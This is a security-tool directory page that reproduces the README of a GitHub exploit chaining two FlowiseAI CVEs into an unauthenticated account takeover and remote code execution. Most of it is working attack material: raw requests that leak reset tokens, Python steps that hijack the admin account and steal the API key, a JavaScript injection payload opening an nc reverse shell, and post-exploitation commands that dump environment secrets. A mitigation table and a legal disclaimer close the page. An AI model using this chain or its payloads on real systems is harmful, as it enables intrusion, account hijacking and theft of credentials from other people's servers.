Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
FlowiseAI-Critical-KillChain — Critical unauthenticated kill chain leading to full RCE in FlowiseAI (CVE-2025-58434 + CVE-2025-59528) | Kitploit
Tools/GitHubGitHub/cveteam/flowiseai-critical-killchain
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationLearning & EducationRed TeamingPayload Development
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

Critical unauthenticated kill chain leading to full RCE in FlowiseAI (CVE-2025-58434 + CVE-2025-59528)

View Repository
114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

FlowiseAI — Critical Kill Chain

Unauthenticated Account Takeover chained with Remote Code Execution against FlowiseAI <= 3.0.5.
Full container compromise in under 5 seconds, zero credentials required.


Kill Chain

FlowiseAI Kill Chain Diagram


Left: FlowiseAI login page — Right: root shell via CVE-2025-59528 · uid=0(root)

Table of Contents

  • How It Works — Overview
  • Vulnerability Details
    • CVE-2025-58434 — Token Disclosure
    • CVE-2025-59528 — Remote Code Execution
  • Why This Chain Is Deadly
  • Exploit Code Walkthrough
  • Usage
  • Post-Exploitation
  • Mitigation
  • References

How It Works — Overview

This exploit chains two independent critical vulnerabilities into a single fully automated attack. Neither vulnerability alone guarantees full compromise — but together, they form a complete kill chain from zero credentials to a root shell inside a Docker container.

root@kitploit:~
[No credentials]
      │
      ▼
① Abuse forgot-password endpoint (no auth required)
      │  → Server responds with the victim's reset token in plaintext
      ▼
② Submit token to reset-password endpoint
      │  → Attacker controls the admin password
      ▼
③ Login + retrieve Bearer API key
      │  → Full authenticated session established
      ▼
④ Send JavaScript payload via customMCP node
      │  → Server evaluates it via Function() constructor
      ▼
[Root shell inside Docker container]

What makes it zero-interaction: at no point does the victim receive an email, see a login alert, or trigger any visible event. The attack is entirely server-side.


Vulnerability Details

CVE-2025-58434 — Unauthenticated Password Reset Token Disclosure

CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5 (cloud + self-hosted)
Advisory: GHSA-wgpv-6j63-x5ph

Root Cause

FlowiseAI has a concept of "internal" requests — API calls made between its own services — identified by the x-request-from: internal HTTP header. The /api/v1/account/forgot-password endpoint uses this header to skip authentication entirely and return a different, more verbose response than it would for external callers.

The problem: this header is not validated or restricted in any way. Any attacker on the internet can send it. When they do, instead of triggering a password reset email, the API responds with the full user record — including a live tempToken that can be immediately used to set a new password.

Why it works

Normally, a password reset flow looks like:

root@kitploit:~
User requests reset → Server generates token → Token sent by EMAIL → User clicks link → Password changed

Here, the server skips the email step entirely and puts the token directly in the HTTP response body. The attacker catches it and moves straight to the reset step — no email access needed.

Request

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

Response 201 — full user record exposed

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

The tempToken is then submitted directly to the reset endpoint — no email interaction, no CAPTCHA, no rate limit.


CVE-2025-59528 — Remote Code Execution via CustomMCP Node

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p

Root Cause

FlowiseAI allows users to define custom MCP (Model Context Protocol) nodes with server configuration supplied as a JSON string. Internally, the platform needs to parse this configuration — and it does so using JavaScript's Function() constructor, which is functionally equivalent to eval().

The configuration string reaches the sink completely unsanitized:

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ unsanitized user input — arbitrary JS execution

Why Function() is as dangerous as eval()

Function('return ' + code)() does the following:

  1. Constructs a new JavaScript function with code as its body
  2. Immediately invokes it
  3. Returns the result

This gives the attacker a full JavaScript execution context with access to process, require, child_process, and the entire Node.js runtime — not a sandbox.

Taint flow — from HTTP to shell

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← attacker-controlled string
       └─ substituteVariablesInString()            ← no filtering, passes through
            └─ convertToValidJSONString()          ← no filtering, passes through
                 └─ Function('return ' + input)()  ← arbitrary code executes here

Injection payload

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

Why mkfifo and not /dev/tcp?
The container runs /bin/sh, not /bin/bash. /dev/tcp is a bash-only feature — it does not exist in standard POSIX shells. mkfifo creates a named pipe that works in any POSIX-compliant shell, making the reverse shell portable across container environments.


Why This Chain Is Deadly

PropertyDetails
Zero credentials requiredThe attacker starts with nothing but a target IP
Zero victim interactionNo phishing, no click, no social engineering
No rate limitingThe reset endpoint has no throttling — brute-forceable if needed
No CAPTCHAThe reset flow has no human verification
No email confirmationPassword change is immediate, silent, irreversible
Full Node.js runtime in RCEchild_process, filesystem, network — no sandbox
Runs as root in DockerContainer is typically launched as root, full FS access
Affects cloud + self-hostedAny deployment of <= 3.0.5 is vulnerable

Exploit Code Walkthrough

The exploit is structured in four sequential steps, each mapping directly to a phase of the kill chain.

Step 1 — Token Harvest (CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

What happens: The server believes this is an internal service-to-service call because of the x-request-from: internal header. It skips the normal email dispatch path and returns the full user record — including a live password reset token — directly in the HTTP 201 response body.

Why it works: The header check is purely string-based with no cryptographic verification. Any caller can set it. The backend does not validate the origin of the request.


Step 2 — Account Takeover

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

What happens: The stolen tempToken is submitted along with a new attacker-chosen password. The server validates the token (which is real and active), confirms the email matches, and updates the credential hash — no email confirmation, no secondary check.

Why it works: Token validation only checks that the token exists and hasn't expired. It does not verify that the caller who generated the token is the same as the caller submitting the reset. Ownership is never verified.


Step 3 — Session + API Key Extraction

root@kitploit:~
# Login with the newly set password
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Fetch the Bearer API key needed for the RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

What happens: A normal login with the attacker's new password establishes a full admin session (cookie-based). The session is then used to fetch the platform's default API key, which is required to authenticate requests to the node-load-method endpoint used in step 4.

Why it works: At this point the attacker IS the admin — they own the credentials. The session and API key are legitimately issued by the server.


Step 4 — Remote Code Execution (CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

What happens: The payload is a self-invoking JavaScript function (IIFE) disguised as a JSON-compatible object. When convertToValidJSONString() processes it, the value lands inside Function('return ' + input)() — which executes it as live JavaScript with full Node.js runtime access. child_process.exec() fires the reverse shell command, establishing a connection back to the attacker's listener.

Why the IIFE wrapper? The Function('return ' + x) pattern expects the expression to be returnable. Wrapping the malicious code in ({x: (function(){ ... })()}) makes the entire expression valid JavaScript that evaluates to an object — satisfying the parser while executing the payload as a side effect.

Why nohup + disown? The HTTP request has a timeout. Without detaching the process, the shell would die when the request times out. nohup + disown detaches the reverse shell from the Node.js process, keeping it alive independently.


Usage

root@kitploit:~
# 1. Start your listener first
nc -lvnp 4444

# 2. Run the full kill chain
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444

# 3. If the admin password was already reset in a prior attempt
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset

Arguments

FlagDescriptionRequired
-ipTarget IP address✅
-lhostYour IP for the reverse shell callback✅
-lportYour listening port✅
--skipresetSkip CVE-2025-58434 (phases 1 & 2) — use if account already compromised❌

Requirements

root@kitploit:~
pip install requests

Post-Exploitation

Once the shell drops, the container typically runs as root with access to the full FlowiseAI application environment:

root@kitploit:~
# Secrets and credentials
env                       # API keys, DB URIs, service credentials in environment vars
cat .env                  # FlowiseAI config file — database passwords, JWT secrets

# Application internals
ls /app/packages/         # Monorepo structure — source code, configs, node_modules
cat /app/packages/server/.env

# Container context
cat /proc/1/cmdline       # What process is PID 1 — confirms container environment
hostname                  # Container ID
cat /etc/hosts            # Internal network map — other services reachable

# Lateral movement candidates
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

Mitigation

FixPriority
Upgrade to FlowiseAI ≥ 3.0.6🔴 Immediate
Block x-request-from: internal at the reverse proxy — it should never come from the internet🔴 Immediate
Restrict /api/v1/account/* to authenticated sessions only🔴 Immediate
Sanitize mcpServerConfig — never pass user input to Function() or eval()🔴 Immediate
Add rate limiting and CAPTCHA to all password reset endpoints🔴 Immediate
Isolate the FlowiseAI instance from the internet if public exposure is not required🟠 High
Run the container as a non-root user🟠 High
Enable anomaly detection on password reset and MCP endpoints🟡 Medium
Audit all endpoints that accept x-request-from and verify they cannot be called externally🟡 Medium

References

  • FlowiseAI Security Advisory — CVE-2025-58434
  • FlowiseAI Security Advisory — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP: Testing for Weak Password Change or Reset Functionalities
  • CWE-94: Improper Control of Generation of Code

Disclaimer

This repository and all associated code are published strictly for educational and authorized security research purposes.

Both vulnerabilities are publicly disclosed and patched as of FlowiseAI 3.0.6. Testing against systems you do not own or lack explicit written authorization to assess is illegal under applicable law — including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, and the EU NIS2 Directive.

The authors accept no liability for any damage resulting from misuse of this material.


0H4K3D · CVE Team

Download Tool